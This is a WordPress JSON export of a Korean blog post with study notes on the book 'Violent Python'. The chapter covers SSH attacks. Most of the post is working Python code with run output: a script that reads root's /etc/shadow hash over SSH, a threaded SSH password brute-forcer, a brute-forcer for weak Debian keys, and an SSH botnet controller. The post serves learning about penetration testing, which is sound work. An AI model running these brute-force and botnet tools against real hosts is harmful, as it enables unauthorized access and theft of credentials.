{"id":3819,"date":"2013-07-22T14:22:58","date_gmt":"2013-07-22T05:22:58","guid":{"rendered":"http:\/\/apollo89.com\/wordpress\/?p=3819"},"modified":"2013-09-13T08:38:47","modified_gmt":"2013-09-12T23:38:47","slug":"%ed%95%b4%ec%bb%a4%ec%9d%98-%ec%96%b8%ec%96%b4-%ec%b9%98%eb%aa%85%ec%a0%81-%ed%8c%8c%ec%9d%b4%ec%8d%ac-chapter-2-%ec%b9%a8%ed%88%ac-%ed%85%8c%ec%8a%a4%ed%8a%b8-ssh-%eb%b4%87%eb%84%b7-%ea%b5%ac","status":"publish","type":"post","link":"https:\/\/apollo89.com\/wordpress\/?p=3819","title":{"rendered":"\ud574\ucee4\uc758 \uc5b8\uc5b4, \uce58\uba85\uc801 \ud30c\uc774\uc36c &#8211; CHAPTER 2 \uce68\ud22c \ud14c\uc2a4\ud2b8 &#8211; SSH \ubd07\ub137 \uad6c\ucd95\ud558\uae30"},"content":{"rendered":"<p>&nbsp;<\/p>\n<p><strong>Notice : \ud574\ub2f9 \uc790\ub8cc\uac00 \uc800\uc791\uad8c\ub4f1\uc5d0 \uc758\ud574\uc11c \ubb38\uc81c\uac00 \uc788\ub2e4\uba74 \ubc14\ub85c \uc0ad\uc81c\ud558\uaca0\uc2b5\ub2c8\ub2e4.<br \/>\n\uc5f0\uad6c\ubaa9\uc801\uc73c\ub85c \uc0ac\uc6a9\ud558\uc9c0 \uc54a\uace0 \uc545\uc758\uc801\uc778 \ubaa9\uc801\uc73c\ub85c \uc774\uc6a9\ud560 \uacbd\uc6b0 \ubc1c\uc0dd\ud560 \uc218 \uc788\ub294 \ubc95\uc801\uc740 \ucc45\uc784\uc740 \ubaa8\ub450 \ubcf8\uc778\uc5d0\uac8c \uc788\uc2b5\ub2c8\ub2e4.<br \/>\n<\/strong><\/p>\n<p><a href=\"http:\/\/blog.yes24.com\/lib\/adon\/View.aspx?blogid=2223538&#038;goodsno=8433461&#038;idx=15792&#038;ADON_TYPE=B&#038;regs=b\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-2135\" alt=\"VIOLENT_PYTHON_S\" src=\"http:\/\/apollo89.com\/wordpress\/wp-content\/uploads\/2013\/03\/VIOLENT_PYTHON_S.jpg\" width=\"172\" height=\"220\" \/><\/a><br \/>\n<a href=\"http:\/\/blog.yes24.com\/lib\/adon\/View.aspx?blogid=2223538&#038;goodsno=8433461&#038;idx=15792&#038;ADON_TYPE=B&#038;regs=b\" target=\"_blank\">[\uad6c\ub9e4\ud558\uae30]<\/a><\/p>\n<p><a href=\"http:\/\/apollo89.com\/wordpress\/?p=3616\" target=\"_blank\">\ud574\ucee4\uc758 \uc5b8\uc5b4, \uce58\uba85\uc801 \ud30c\uc774\uc36c &#8211; CHAPTER 1 \uc18c\uac1c<\/a><br \/>\n<a href=\"http:\/\/apollo89.com\/wordpress\/?p=3665\" target=\"_blank\">\ud574\ucee4\uc758 \uc5b8\uc5b4, \uce58\uba85\uc801 \ud30c\uc774\uc36c &#8211; CHAPTER 2 \uce68\ud22c \ud14c\uc2a4\ud2b8 &#8211; \ud3ec\ud2b8 \uc2a4\uce90\ub108 \ub9cc\ub4e4\uae30<\/a><br \/>\n<a href=\"http:\/\/apollo89.com\/wordpress\/?p=3819\" target=\"_blank\">\ud574\ucee4\uc758 \uc5b8\uc5b4, \uce58\uba85\uc801 \ud30c\uc774\uc36c &#8211; CHAPTER 2 \uce68\ud22c \ud14c\uc2a4\ud2b8 &#8211; SSH \ubd07\ub137 \uad6c\ucd95\ud558\uae30<\/a><br \/>\n<a href=\"http:\/\/apollo89.com\/wordpress\/?p=3823\" target=\"_blank\">\ud574\ucee4\uc758 \uc5b8\uc5b4, \uce58\uba85\uc801 \ud30c\uc774\uc36c &#8211; CHAPTER 2 \uce68\ud22c \ud14c\uc2a4\ud2b8 &#8211; FTP\uc640 \uc6f9\uc744 \uc774\uc6a9\ud55c \ub300\uaddc\ubaa8 \uacf5\uaca9<\/a><br \/>\n<a href=\"http:\/\/apollo89.com\/wordpress\/?p=3831\" target=\"_blank\">\ud574\ucee4\uc758 \uc5b8\uc5b4, \uce58\uba85\uc801 \ud30c\uc774\uc36c &#8211; CHAPTER 2 \uce68\ud22c \ud14c\uc2a4\ud2b8 &#8211; \ucee8\ud53c\ucee4 \ub178\ub825\ud558\uba74 \ub41c\ub2e4<\/a><\/p>\n<p>2.3 \ud30c\uc774\uc36c\uc73c\ub85c SSH \ubd07\ub137 \uad6c\ucd95\ud558\uae30<br \/>\n&#8211; \ucd5c\uadfc\uc5d0\ub294 \uacf5\uac1c\ud0a4 \uc554\ud638\ud654\uc640 RSH \ub97c \ud568\uaed8 \uc0ac\uc6a9\ud558\ub294 \uc2dc\ud050\uc5b4\uc258(SSH) \ud504\ub85c\ud1a0\ucf5c\ub85c \ub300\uccb4<\/p>\n<p>2.3.1 Pexpect\ub85c SSH \uc5f0\uacb0\ud558\uae30<br \/>\n&#8211; ssh\ub294 \uc0ac\uc6a9\uc790\uac00 \uc9c1\uc811 \uc785\ub825\ud558\ub294 \ubd80\ubd84 \uc874\uc7ac(id, pw)<br \/>\n&#8211; \uc790\ub3d9\ud654\ub97c \uc704\ud574 Pexpect \ubaa8\ub4c8 \uc0ac\uc6a9(\uacb0\uacfc\uac12\uc744 \ubc14\ud0d5\uc73c\ub85c \uc751\ub2f5\ud558\uae30 \uae30\ub2a5)<\/p>\n<pre class=\"lang:python decode:true\">#!\/usr\/bin\/python\r\n# -*- coding: utf-8 -*-\r\nimport pexpect\r\n\r\nPROMPT = ['# ', '&gt;&gt;&gt; ', '&gt; ','\\$ ']\r\n\r\ndef send_command(child, cmd):\r\n    child.sendline(cmd)\r\n    child.expect(PROMPT)\r\n    print child.before\r\n\r\ndef connect(user, host, password):\r\n    ssh_newkey = 'Are you sure you want to continue connecting'\r\n    connStr = 'ssh ' + user + '@' + host\r\n    child = pexpect.spawn(connStr)\r\n    ret = child.expect([pexpect.TIMEOUT, ssh_newkey, '[P|p]assword:'])\r\n\r\n    if ret == 0:\r\n        print '[-] Error Connecting'\r\n        return\r\n\r\n    if ret == 1:\r\n        child.sendline('yes')\r\n        ret = child.expect([pexpect.TIMEOUT,  '[P|p]assword:'])\r\n        if ret == 0:\r\n            print '[-] Error Connecting'\r\n            return\r\n\r\n    child.sendline(password)\r\n    child.expect(PROMPT)\r\n    return child\r\n\r\ndef main():\r\n    host = 'localhost'\r\n    user = 'root'\r\n    password = '*****'\r\n\r\n    child = connect(user, host, password)\r\n    send_command(child, 'cat \/etc\/shadow | grep root')\r\n\r\nif __name__ == '__main__':\r\n    main()<\/pre>\n<p>\uc2e4\ud589\uacb0\uacfc :<\/p>\n<pre class=\"lang:default decode:true \" ># python sshCmd.py \r\ncat \/etc\/shadow | grep root\r\nroot:$6$rnI.plh.$eScWBPApCMHM..........n9zpvmlkrzX\/:15882:0:99999:7:::\r\n<\/pre>\n<p>2.3.2 Pxssh\ub85c SSH \ud328\uc2a4\uc6cc\ub4dc \uacf5\uaca9\ud558\uae30<br \/>\n&#8211; Pxssh\ub294 Pexpect \ub77c\uc774\ube0c\ub7ec\ub9ac\uc5d0 \uc788\ub294 ssh \ud2b9\ud654 \uc2a4\ud06c\ub9bd\ud2b8 (login(), logout(), prompt() \ub4f1\uc758 \uba54\uc18c\ub4dc \uc81c\uacf5)<br \/>\n&#8211; \uc544\uc774\ud3f0\uc758 \ub514\ud3f4\ud2b8 \ud328\uc2a4\uc6cc\ub4dc? (alpine), ssh\uac00 \ud0c8\uc625\ud55c \uc544\uc774\ud3f0\uc744 \uacf5\uaca9\ud558\uc5ec ssh \uc11c\ubc84\ub97c \ud65c\uc131\ud654<\/p>\n<pre class=\"lang:python decode:true\">#!\/usr\/bin\/python\r\n# -*- coding: utf-8 -*-\r\nimport pxssh\r\nimport optparse\r\nimport time\r\nfrom threading import *\r\n\r\nmaxConnections = 5\r\nconnection_lock = BoundedSemaphore(value=maxConnections)\r\n\r\nFound = False\r\nFails = 0\r\n\r\ndef connect(host, user, password, release):\r\n    global Found\r\n    global Fails\r\n\r\n    try:\r\n        s = pxssh.pxssh()\r\n        s.login(host, user, password)\r\n        print '[+] Password Found: ' + password\r\n\tFound = True\r\n    except Exception, e:\r\n        if 'read_nonblocking' in str(e):\r\n\t    Fails += 1\r\n            time.sleep(5)\r\n            connect(host, user, password, False)\r\n\telif 'synchronize with original prompt' in str(e):\r\n\t    time.sleep(1)\r\n\t    connect(host, user, password, False)\r\n\r\n    finally:\r\n\tif release: connection_lock.release()\r\n\r\ndef main():\r\n    parser = optparse.OptionParser('usage %prog -H &lt;target host&gt; -u &lt;user&gt; -F &lt;password list&gt;'\r\n                              )\r\n    parser.add_option('-H', dest='tgtHost', type='string', help='specify target host')\r\n    parser.add_option('-F', dest='passwdFile', type='string', help='specify password file')\r\n    parser.add_option('-u', dest='user', type='string', help='specify the user')\r\n\r\n    (options, args) = parser.parse_args()\r\n    host = options.tgtHost\r\n    passwdFile = options.passwdFile\r\n    user = options.user\r\n\r\n    if host == None or passwdFile == None or user == None:\r\n        print parser.usage\r\n        exit(0)\r\n\r\n    fn = open(passwdFile, 'r')\r\n    for line in fn.readlines():\r\n\r\n\tif Found:\r\n\t    print \"[*] Exiting: Password Found\"\r\n\t    exit(0)\r\n        if Fails &gt; 5:\r\n\t    print \"[!] Exiting: Too Many Socket Timeouts\"\r\n\t    exit(0)\r\n\r\n\tconnection_lock.acquire()\r\n        password = line.strip('\\r').strip('\\n')\r\n\tprint \"[-] Testing: \"+str(password)\r\n        t = Thread(target=connect, args=(host, user, password, True))\r\n        child = t.start()\r\n\r\nif __name__ == '__main__':\r\n    main()<\/pre>\n<p>\uc2e4\ud589\uacb0\uacfc :<\/p>\n<pre class=\"lang:python decode:true\"># python sshBrute.py -H 127.0.0.1 -u apollo89 -F best_passwords.txt \r\n...\r\n[-] Testing: 12345678\r\n[-] Testing: 123456789\r\n[-] Testing: 123456a\r\n[-] Testing: 123456qwerty\r\n[-] Testing: 123abc\r\n[-] Testing: 123qaz\r\n[-] Testing: 123qwe\r\n[-] Testing: 1q2w3e\r\n[+] Password Found: 123456a\r\n[-] Testing: 1q2w3e4r\r\n[*] Exiting: Password Found<\/pre>\n<p>2.3.3 \ucde8\uc57d\ud55c \uac1c\uc778 \ud0a4\ub97c \ud1b5\ud55c SSH \uacf5\uaca9\ud558\uae30<br \/>\n&#8211; ssh \ub294 \uacf5\uac1c\ud0a4 \uc554\ud638\ub85c \uc778\uc99d\ud560\uc218 \uc788\ub294 \uae30\ub2a5\ub3c4 \uc81c\uacf5<br \/>\n&#8211; \ucde8\uc57d\ud55c \ud0a4\ub97c \ud14c\uc2a4\ud2b8 \ud558\ub294 \uc2a4\ud06c\ub9bd\ud2b8\ub294 \ud328\uc2a4\uc6cc\ub4dc\ub97c \ubb34\ucc28\ubcc4 \ub300\uc785\ud558\ub294 \uacf5\uaca9\uacfc \uc720\uc0ac<br \/>\n&#8211; https:\/\/github.com\/ChFernandez\/PenTools -&gt; debian_ssh_dsa_1024_x86\/ debian_ssh_rsa_1024_x86 \ub2e4\uc6b4\uc548\ub428..\u3160<\/p>\n<pre class=\"lang:python decode:true\">#!\/usr\/bin\/python\r\n# -*- coding: utf-8 -*-\r\nimport pexpect\r\nimport optparse\r\nimport os\r\nfrom threading import *\r\n\r\nmaxConnections = 5\r\nconnection_lock = BoundedSemaphore(value=maxConnections)\r\nStop = False\r\nFails = 0\r\n\r\ndef connect(user,host,keyfile,release):\r\n    global Stop\r\n    global Fails\r\n    try:\r\n        perm_denied = 'Permission denied'\r\n        ssh_newkey = 'Are you sure you want to continue'\r\n        conn_closed = 'Connection closed by remote host'\r\n        opt = ' -o PasswordAuthentication=no'\r\n        connStr = 'ssh ' + user + '@' + host + ' -i ' + keyfile + opt\r\n        child = pexpect.spawn(connStr)\r\n        ret = child.expect([pexpect.TIMEOUT,perm_denied, ssh_newkey,conn_closed,'$','#',])\r\n        if ret == 2:\r\n            print '[-] Adding Host to ~\/.ssh\/known_hosts'\r\n            child.sendline('yes')\r\n            connect(user, host, keyfile, False)\r\n        elif ret == 3:\r\n            print '[-] Connection Closed By Remote Host'\r\n            Fails += 1\r\n        elif ret &gt; 3:\r\n            print '[+] Success. ' + str(keyfile)\r\n            Stop = True\r\n    finally:\r\n        if release:\r\n            connection_lock.release()\r\n\r\ndef main():\r\n    parser = optparse.OptionParser('usage %prog -H &lt;target host&gt; -u &lt;user&gt; -d &lt;directory&gt;')\r\n    parser.add_option('-H', dest='tgtHost', type='string', help='specify target host')\r\n    parser.add_option('-d', dest='passDir', type='string', help='specify directory with keys')\r\n    parser.add_option('-u', dest='user', type='string', help='specify the user')\r\n\r\n    (options, args) = parser.parse_args()\r\n    host = options.tgtHost\r\n    passDir = options.passDir\r\n    user = options.user\r\n\r\n    if host == None or passDir == None or user == None:\r\n        print parser.usage\r\n        exit(0)\r\n\r\n    for filename in os.listdir(passDir):\r\n        if Stop:\r\n            print '[*] Exiting: Key Found.'\r\n            exit(0)\r\n        if Fails &gt; 5:\r\n            print '[!] Exiting: '+\\\r\n              'Too Many Connections Closed By Remote Host.'\r\n            print '[!] Adjust number of simultaneous threads.'\r\n            exit(0)\r\n        connection_lock.acquire()\r\n        fullpath = os.path.join(passDir, filename)\r\n        print '[-] Testing keyfile ' + str(fullpath)\r\n        t = Thread(target=connect, args=(user, host, fullpath, True))\r\n        child = t.start()\r\n\r\nif __name__ == '__main__':\r\n    main()<\/pre>\n<p>2.3.4 SSH \ubd07\ub137 \uad6c\ucd95\ud558\uae30<br \/>\n&#8211; \uc5ec\ub7ec \ud638\uc2a4\ud2b8\ub97c \ub3d9\uc2dc\uc5d0 \uc81c\uc5b4<br \/>\n&#8211; \uc790\ubc1c\uc801\uc778 \ubd07\ub137 : \uc5b4\ub098\ub2c8\uba38\uc2a4\uc5d0\uc11c \uc790\ubc1c\uc801 \ubd07\ub137\uc744 \uc774\uc6a9\ud574\uc11c \uacf5\uaca9<br \/>\n&#8211; \ud074\ub798\uc2a4 \uac1d\uccb4\ub97c \uc0dd\uc131\ud574 \uc0ac\uc6a9<\/p>\n<pre class=\"lang:python decode:true\">#!\/usr\/bin\/python\r\n# -*- coding: utf-8 -*-\r\nimport optparse\r\nimport pxssh\r\n\r\nclass Client:\r\n\r\n    def __init__(self, host, user, password):\r\n        self.host = host\r\n        self.user = user\r\n        self.password = password\r\n        self.session = self.connect()\r\n\r\n    def connect(self):\r\n        try:\r\n            s = pxssh.pxssh()\r\n            s.login(self.host, self.user, self.password)\r\n            return s\r\n        except Exception, e:\r\n            print e\r\n            print '[-] Error Connecting'\r\n\r\n    def send_command(self, cmd):\r\n        self.session.sendline(cmd)\r\n        self.session.prompt()\r\n        return self.session.before\r\n\r\ndef botnetCommand(command):\r\n    for client in botNet:\r\n        output = client.send_command(command)\r\n        print '[*] Output from ' + client.host\r\n        print '[+] ' + output \r\n\r\ndef addClient(host, user, password):\r\n    client = Client(host, user, password)\r\n    botNet.append(client)\r\n\r\nbotNet = []\r\naddClient('127.0.0.1', 'root', '*****')\r\naddClient('127.0.0.1', 'root', '*****')\r\naddClient('127.0.0.1', 'root', '*****')\r\n\r\nbotnetCommand('uname -v')\r\nbotnetCommand('cat \/etc\/issue')<\/pre>\n<p>\uc2e4\ud589\uacb0\uacfc :<\/p>\n<pre class=\"lang:python decode:true\"># python botNet.py \r\n[*] Output from 127.0.0.1\r\n[+] uname -v\r\n#1 SMP Fri Feb 17 10:34:20 EST 2012\r\n\r\n[*] Output from 127.0.0.1\r\n[+] uname -v\r\n#1 SMP Fri Feb 17 10:34:20 EST 2012\r\n\r\n[*] Output from 127.0.0.1\r\n[+] uname -v\r\n#1 SMP Fri Feb 17 10:34:20 EST 2012\r\n\r\n[*] Output from 127.0.0.1\r\n[+] cat \/etc\/issue\r\nBackTrack 5 R3 - 64 Bit \\n \\l\r\n\r\n[*] Output from 127.0.0.1\r\n[+] cat \/etc\/issue\r\nBackTrack 5 R3 - 64 Bit \\n \\l\r\n\r\n[*] Output from 127.0.0.1\r\n[+] cat \/etc\/issue\r\nBackTrack 5 R3 - 64 Bit \\n \\l<\/pre>\n<p>&nbsp;<\/p>\n","protected":false},"excerpt":{"rendered":"<p>&nbsp; Notice : \ud574\ub2f9 \uc790\ub8cc\uac00 \uc800\uc791\uad8c\ub4f1\uc5d0 \uc758\ud574\uc11c \ubb38\uc81c\uac00 \uc788\ub2e4\uba74 \ubc14\ub85c \uc0ad\uc81c\ud558\uaca0\uc2b5\ub2c8\ub2e4. \uc5f0\uad6c\ubaa9\uc801\uc73c\ub85c \uc0ac\uc6a9\ud558\uc9c0 \uc54a\uace0 \uc545\uc758\uc801\uc778 \ubaa9\uc801\uc73c\ub85c \uc774\uc6a9\ud560 \uacbd\uc6b0 \ubc1c\uc0dd\ud560 \uc218 \uc788\ub294 \ubc95\uc801\uc740 \ucc45\uc784\uc740 \ubaa8\ub450 \ubcf8\uc778\uc5d0\uac8c \uc788\uc2b5\ub2c8\ub2e4. [\uad6c\ub9e4\ud558\uae30] \ud574\ucee4\uc758 \uc5b8\uc5b4, \uce58\uba85\uc801 \ud30c\uc774\uc36c &#8211; CHAPTER 1 \uc18c\uac1c \ud574\ucee4\uc758 \uc5b8\uc5b4, \uce58\uba85\uc801 \ud30c\uc774\uc36c &#8211; &hellip; <a href=\"https:\/\/apollo89.com\/wordpress\/?p=3819\">Continue reading <span class=\"meta-nav\">&rarr;<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[663,658],"tags":[1158,1216],"class_list":["post-3819","post","type-post","status-publish","format-standard","hentry","category-python-","category-book-2","tag-1158","tag-1216"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.6 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>\ud574\ucee4\uc758 \uc5b8\uc5b4, \uce58\uba85\uc801 \ud30c\uc774\uc36c - CHAPTER 2 \uce68\ud22c \ud14c\uc2a4\ud2b8 - SSH \ubd07\ub137 \uad6c\ucd95\ud558\uae30 - Apollo89.com<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/apollo89.com\/wordpress\/?p=3819\" \/>\n<meta property=\"og:locale\" content=\"ko_KR\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"\ud574\ucee4\uc758 \uc5b8\uc5b4, \uce58\uba85\uc801 \ud30c\uc774\uc36c - CHAPTER 2 \uce68\ud22c \ud14c\uc2a4\ud2b8 - SSH \ubd07\ub137 \uad6c\ucd95\ud558\uae30 - Apollo89.com\" \/>\n<meta property=\"og:description\" content=\"&nbsp; Notice : \ud574\ub2f9 \uc790\ub8cc\uac00 \uc800\uc791\uad8c\ub4f1\uc5d0 \uc758\ud574\uc11c \ubb38\uc81c\uac00 \uc788\ub2e4\uba74 \ubc14\ub85c \uc0ad\uc81c\ud558\uaca0\uc2b5\ub2c8\ub2e4. \uc5f0\uad6c\ubaa9\uc801\uc73c\ub85c \uc0ac\uc6a9\ud558\uc9c0 \uc54a\uace0 \uc545\uc758\uc801\uc778 \ubaa9\uc801\uc73c\ub85c \uc774\uc6a9\ud560 \uacbd\uc6b0 \ubc1c\uc0dd\ud560 \uc218 \uc788\ub294 \ubc95\uc801\uc740 \ucc45\uc784\uc740 \ubaa8\ub450 \ubcf8\uc778\uc5d0\uac8c \uc788\uc2b5\ub2c8\ub2e4. [\uad6c\ub9e4\ud558\uae30] \ud574\ucee4\uc758 \uc5b8\uc5b4, \uce58\uba85\uc801 \ud30c\uc774\uc36c &#8211; CHAPTER 1 \uc18c\uac1c \ud574\ucee4\uc758 \uc5b8\uc5b4, \uce58\uba85\uc801 \ud30c\uc774\uc36c &#8211; &hellip; Continue reading &rarr;\" \/>\n<meta property=\"og:url\" content=\"https:\/\/apollo89.com\/wordpress\/?p=3819\" \/>\n<meta property=\"og:site_name\" content=\"Apollo89.com\" \/>\n<meta property=\"article:published_time\" content=\"2013-07-22T05:22:58+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2013-09-12T23:38:47+00:00\" \/>\n<meta property=\"og:image\" content=\"http:\/\/apollo89.com\/wordpress\/wp-content\/uploads\/2013\/03\/VIOLENT_PYTHON_S.jpg\" \/>\n<meta name=\"author\" content=\"apollo89\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"\uae00\uc4f4\uc774\" \/>\n\t<meta name=\"twitter:data1\" content=\"apollo89\" \/>\n\t<meta name=\"twitter:label2\" content=\"\uc608\uc0c1 \ub418\ub294 \ud310\ub3c5 \uc2dc\uac04\" \/>\n\t<meta name=\"twitter:data2\" content=\"5\ubd84\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/apollo89.com\\\/wordpress\\\/?p=3819#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/apollo89.com\\\/wordpress\\\/?p=3819\"},\"author\":{\"name\":\"apollo89\",\"@id\":\"https:\\\/\\\/apollo89.com\\\/wordpress\\\/#\\\/schema\\\/person\\\/93f56825cac3b2f18e5f107995066c82\"},\"headline\":\"\ud574\ucee4\uc758 \uc5b8\uc5b4, \uce58\uba85\uc801 \ud30c\uc774\uc36c &#8211; CHAPTER 2 \uce68\ud22c \ud14c\uc2a4\ud2b8 &#8211; SSH \ubd07\ub137 \uad6c\ucd95\ud558\uae30\",\"datePublished\":\"2013-07-22T05:22:58+00:00\",\"dateModified\":\"2013-09-12T23:38:47+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/apollo89.com\\\/wordpress\\\/?p=3819\"},\"wordCount\":72,\"commentCount\":2,\"image\":{\"@id\":\"https:\\\/\\\/apollo89.com\\\/wordpress\\\/?p=3819#primaryimage\"},\"thumbnailUrl\":\"http:\\\/\\\/apollo89.com\\\/wordpress\\\/wp-content\\\/uploads\\\/2013\\\/03\\\/VIOLENT_PYTHON_S.jpg\",\"keywords\":[\"\uc2a4\ud130\ub514\",\"\uce58\uba85\uc801\ud30c\uc774\uc36c\"],\"articleSection\":[\"Python\\\/Ruby\\\/Perl\",\"Reading\"],\"inLanguage\":\"ko-KR\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/apollo89.com\\\/wordpress\\\/?p=3819#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/apollo89.com\\\/wordpress\\\/?p=3819\",\"url\":\"https:\\\/\\\/apollo89.com\\\/wordpress\\\/?p=3819\",\"name\":\"\ud574\ucee4\uc758 \uc5b8\uc5b4, \uce58\uba85\uc801 \ud30c\uc774\uc36c - CHAPTER 2 \uce68\ud22c \ud14c\uc2a4\ud2b8 - SSH \ubd07\ub137 \uad6c\ucd95\ud558\uae30 - Apollo89.com\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/apollo89.com\\\/wordpress\\\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\\\/\\\/apollo89.com\\\/wordpress\\\/?p=3819#primaryimage\"},\"image\":{\"@id\":\"https:\\\/\\\/apollo89.com\\\/wordpress\\\/?p=3819#primaryimage\"},\"thumbnailUrl\":\"http:\\\/\\\/apollo89.com\\\/wordpress\\\/wp-content\\\/uploads\\\/2013\\\/03\\\/VIOLENT_PYTHON_S.jpg\",\"datePublished\":\"2013-07-22T05:22:58+00:00\",\"dateModified\":\"2013-09-12T23:38:47+00:00\",\"author\":{\"@id\":\"https:\\\/\\\/apollo89.com\\\/wordpress\\\/#\\\/schema\\\/person\\\/93f56825cac3b2f18e5f107995066c82\"},\"breadcrumb\":{\"@id\":\"https:\\\/\\\/apollo89.com\\\/wordpress\\\/?p=3819#breadcrumb\"},\"inLanguage\":\"ko-KR\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/apollo89.com\\\/wordpress\\\/?p=3819\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"ko-KR\",\"@id\":\"https:\\\/\\\/apollo89.com\\\/wordpress\\\/?p=3819#primaryimage\",\"url\":\"https:\\\/\\\/apollo89.com\\\/wordpress\\\/wp-content\\\/uploads\\\/2013\\\/03\\\/VIOLENT_PYTHON_S.jpg\",\"contentUrl\":\"https:\\\/\\\/apollo89.com\\\/wordpress\\\/wp-content\\\/uploads\\\/2013\\\/03\\\/VIOLENT_PYTHON_S.jpg\",\"width\":172,\"height\":220},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/apollo89.com\\\/wordpress\\\/?p=3819#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"\ud648\",\"item\":\"https:\\\/\\\/apollo89.com\\\/wordpress\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"\ud574\ucee4\uc758 \uc5b8\uc5b4, \uce58\uba85\uc801 \ud30c\uc774\uc36c &#8211; CHAPTER 2 \uce68\ud22c \ud14c\uc2a4\ud2b8 &#8211; SSH \ubd07\ub137 \uad6c\ucd95\ud558\uae30\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/apollo89.com\\\/wordpress\\\/#website\",\"url\":\"https:\\\/\\\/apollo89.com\\\/wordpress\\\/\",\"name\":\"Apollo89.com\",\"description\":\"\uc544\ud3f4\ub85c\uc528\uc758 \uc7a1\ub2e4\ud55c \uacbd\ud5d8\ub4e4..\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/apollo89.com\\\/wordpress\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"ko-KR\"},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/apollo89.com\\\/wordpress\\\/#\\\/schema\\\/person\\\/93f56825cac3b2f18e5f107995066c82\",\"name\":\"apollo89\",\"description\":\"\uc544\ud3f4\ub85c89 \uc785\ub2c8\ub2e4.\",\"url\":\"https:\\\/\\\/apollo89.com\\\/wordpress\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"\ud574\ucee4\uc758 \uc5b8\uc5b4, \uce58\uba85\uc801 \ud30c\uc774\uc36c - CHAPTER 2 \uce68\ud22c \ud14c\uc2a4\ud2b8 - SSH \ubd07\ub137 \uad6c\ucd95\ud558\uae30 - Apollo89.com","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/apollo89.com\/wordpress\/?p=3819","og_locale":"ko_KR","og_type":"article","og_title":"\ud574\ucee4\uc758 \uc5b8\uc5b4, \uce58\uba85\uc801 \ud30c\uc774\uc36c - CHAPTER 2 \uce68\ud22c \ud14c\uc2a4\ud2b8 - SSH \ubd07\ub137 \uad6c\ucd95\ud558\uae30 - Apollo89.com","og_description":"&nbsp; Notice : \ud574\ub2f9 \uc790\ub8cc\uac00 \uc800\uc791\uad8c\ub4f1\uc5d0 \uc758\ud574\uc11c \ubb38\uc81c\uac00 \uc788\ub2e4\uba74 \ubc14\ub85c \uc0ad\uc81c\ud558\uaca0\uc2b5\ub2c8\ub2e4. \uc5f0\uad6c\ubaa9\uc801\uc73c\ub85c \uc0ac\uc6a9\ud558\uc9c0 \uc54a\uace0 \uc545\uc758\uc801\uc778 \ubaa9\uc801\uc73c\ub85c \uc774\uc6a9\ud560 \uacbd\uc6b0 \ubc1c\uc0dd\ud560 \uc218 \uc788\ub294 \ubc95\uc801\uc740 \ucc45\uc784\uc740 \ubaa8\ub450 \ubcf8\uc778\uc5d0\uac8c \uc788\uc2b5\ub2c8\ub2e4. [\uad6c\ub9e4\ud558\uae30] \ud574\ucee4\uc758 \uc5b8\uc5b4, \uce58\uba85\uc801 \ud30c\uc774\uc36c &#8211; CHAPTER 1 \uc18c\uac1c \ud574\ucee4\uc758 \uc5b8\uc5b4, \uce58\uba85\uc801 \ud30c\uc774\uc36c &#8211; &hellip; Continue reading &rarr;","og_url":"https:\/\/apollo89.com\/wordpress\/?p=3819","og_site_name":"Apollo89.com","article_published_time":"2013-07-22T05:22:58+00:00","article_modified_time":"2013-09-12T23:38:47+00:00","og_image":[{"url":"http:\/\/apollo89.com\/wordpress\/wp-content\/uploads\/2013\/03\/VIOLENT_PYTHON_S.jpg","type":"","width":"","height":""}],"author":"apollo89","twitter_card":"summary_large_image","twitter_misc":{"\uae00\uc4f4\uc774":"apollo89","\uc608\uc0c1 \ub418\ub294 \ud310\ub3c5 \uc2dc\uac04":"5\ubd84"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/apollo89.com\/wordpress\/?p=3819#article","isPartOf":{"@id":"https:\/\/apollo89.com\/wordpress\/?p=3819"},"author":{"name":"apollo89","@id":"https:\/\/apollo89.com\/wordpress\/#\/schema\/person\/93f56825cac3b2f18e5f107995066c82"},"headline":"\ud574\ucee4\uc758 \uc5b8\uc5b4, \uce58\uba85\uc801 \ud30c\uc774\uc36c &#8211; CHAPTER 2 \uce68\ud22c \ud14c\uc2a4\ud2b8 &#8211; SSH \ubd07\ub137 